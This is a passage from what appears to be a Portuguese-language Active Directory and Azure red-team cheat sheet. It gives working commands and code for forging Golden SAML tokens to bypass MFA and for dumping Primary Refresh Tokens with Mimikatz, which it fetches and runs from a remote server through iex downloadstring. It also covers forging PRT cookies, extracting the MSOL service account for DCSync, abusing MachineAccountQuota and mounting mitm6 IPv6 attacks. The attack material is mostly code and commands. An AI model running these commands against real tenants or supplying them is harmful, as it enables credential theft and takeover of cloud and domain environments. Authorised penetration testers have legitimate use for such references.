New-AzureUser -Username '[email protected]' -Password catAker
```
*Executa um comando em uma VM especificada*```powershell
Execute-Command -OS Windows -VM Win10 -ResourceGroup rg01 -Command "whoami"
```
### Golden SAML

*⚠️ Requisitos :*
- Privilégios de administrador do servidor ADFS
- `ADFS Public Certificate`
- `IdP Name`
- `Role Name`

> Obter `ADFS Public Certificate`:```powershell
PS > [System.Convert]::ToBase64String($cer.rawdata)
```
> Obtenha `IdP Name`:```powershell
PS > (Get-ADFSProperties).Identifier.AbsoluteUri
```
> Obter `Role Name`:```powershell
PS > (Get-ADFSRelyingPartyTrust).IssuanceTransformRule
```
um toolkit para explorar Golden SAML pode ser encontrado [aqui](https://github.com/secureworks/whiskeysamlandfriends)

> ** Golden SAML é semelhante ao golden ticket e afeta o protocolo Kerberos. Assim como o Golden Ticket, o Golden SAML permite que um atacante acesse recursos protegidos por agentes SAML (exemplos: Azure, AWS, vSphere, Okta, Salesforce, ...) com privilégios elevados através de um golden ticket.**

*ShockNAwe:*
- 1. Extrai remotamente as configurações do AD FS
- 2. Forja e assina um token Golden SAML
- 3. Extrai a parte ‘assertion’ do token Golden SAML e a passa para a Azure Core Management API para obter um token de acesso válido para a API
- 4. Enumera o ID da Assinatura
- 5. Enumera a lista completa de VMs na assinatura
- 6. Executa comandos arbitrários em todas as VMs como SYSTEM/root

*WhiskeySAML:*
- 1. Extrair remotamente as configurações do AD FS
- 2. Forjar e assinar tokens Golden SAML
- 3. Passar o token Golden SAML para o portal Microsoft Azure
- 4. Fazer login no portal Azure como qualquer usuário contornando as configurações do Azure MFA```bash
python3 shocknawe.py --target-user $user --domain $domain --adfs-host=$adfs_server --dc-ip $ip
```
### Manipulação de PRT

#### PassThePRT

*verificar o status AzureAdJoined e baixar o Mimikatz:*```powershell
dsregcmd.exe /status
iex (New-Object Net.Webclient).downloadstring(“https://server/Invoke-Mimikatz.ps1”)
```
*Procurando por **prt** e **KeyValue**:*```c
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap
```
*use **função APKD** para decodificar **KeyValue** e salvar os valores de **"Context"** e **"DerivedKey"**:*```c
mimikatz # token::elevate
mimikatz # dpapi::cloudapkd /keyvalue:$KeyValue /unprotect
```
INPUT:```c
mimikatz # dpapi::cloudapkd /context:$context /derivedkey:$DerivedKey /Prt:$prt

---SNIP---
Signed JWT : eyJ...
```
*Forjar PRT-Cookie usando [lantern](https://github.com/ConstantinT/Lantern):*```powershell
Lantern.exe cookie --derivedkey <Key from Mimikatz> --context <Context from Mimikatz> --prt <PRT from Mimikatz>
Lantern.exe cookie --sessionkey <SessionKey> --prt <PRT from Mimikatz>
```
*Gerar JWT*```powershell
PS AADInternals> $PRT_OF_USER = '...'
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
PS AADInternals> $ClearKey = "XXYYZZ..."
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce
```
### Conta de Serviço MSOL

> você pode extrair a conta de Serviço MSOL com [azuread_decrypt_msol.ps1](https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c) usada pelo Azure AD Connect Sync e realizar um ataque DCSync com as credenciais extraídas

*DCSync com conta MSOL*```powershell
secretsdump -outputfile hashes $domain/$msol_svc_acc:$msol_pwd@$ip
```
## Diversos

### Atributo de Nível de Domínio

#### Exploração de MachineAccountQuota (MAQ)

use crackmapexec (CME) com o módulo maq :

`cme ldap $dc -d $DOMAIN -u $USER -p $PASSWORD -M maq`

#### BadPwdCount```python
crackmapexec ldap 10.10.13.100 -u $user -p $pwd --kdcHost 10.10.13.100 --users
LDAP        10.10.13.100       389    dc1       Guest      badpwdcount: 0 pwdLastSet: <never>
```
### Abusando de IPv6 no AD

enviando pacote ICMPv6 para o alvo usando ping6 :

`ping6 -c 3 <target>`

escaneando endereço IPv6 usando nmap :

`nmap -6 -sCV dead:beef:0000:0000:b885:d62a:d679:573f --max-retries=2 --min-rate=3000 -Pn -T3`



dicas para adaptar ferramentas para ipv6 :```bash
echo -n "port1" "port2" "port3" | xargs -d ' ' -I% bash -c 'socat TCP4-LISTEN:%,fork TCP6:[{ipv6-address-here}]:% &'
netstat -laputen |grep LISTEN
```
você pode substituir o valor AF_INET por AF_INET6 da biblioteca socket do python :```bash
sed -i "s/AF_INET/AF_INET6/g" script.py
```
#### Rogue DHCP

`mitm6 -i eth0 -d 'domain.job.local'`


#### Enumeração da Interface IOXIDResolver

é um pequeno script que enumera endereços no campo NetworkAddr com nível de [**RPC_C_AUTHN_DCE_PUBLIC**](https://docs.microsoft.com/en-us/windows/win32/rpc/authentication-service-constants)```py
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dcomrt import IObjectExporter

RPC_C_AUTHN_DCE_PUBLIC  = 2

stringBinding = r'ncacn_ip_tcp:%s' % "IP"
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpc = rpctransport.get_dce_rpc()
rpc.set_auth_level(RPC_C_AUTHN_DCE_PUBLIC)
rpc.connect()
print("[*] Try with RPC_C_AUTHN_DCE_PUBLIC...")
exporter = IObjectExporter(rpc)
binding = exporter.ServerAlive2()
for bind in binding:
    adr = bind['aNetworkAddr']
    print("Adresse:", adr)
```
## Referências

- https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/cloudap
- https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/
- https://www.thehacker.recipes/ad/movement/kerberos/asreproast
- https://www.hackingarticles.in/credential-dumping-ntds-dit/
- https://blog.alsid.eu/dcshadow-explained-4510f52fc19d
- https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
- https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
- https://derkvanderwoude.medium.com/pass-the-prt-attack-and-detection-by-microsoft-defender-for-afd7dbe83c94
- https://github.com/rootsecdev/Azure-Red-Team
- https://www.secureworks.com/blog/going-for-the-gold-penetration-testing-tools-exploit-golden-saml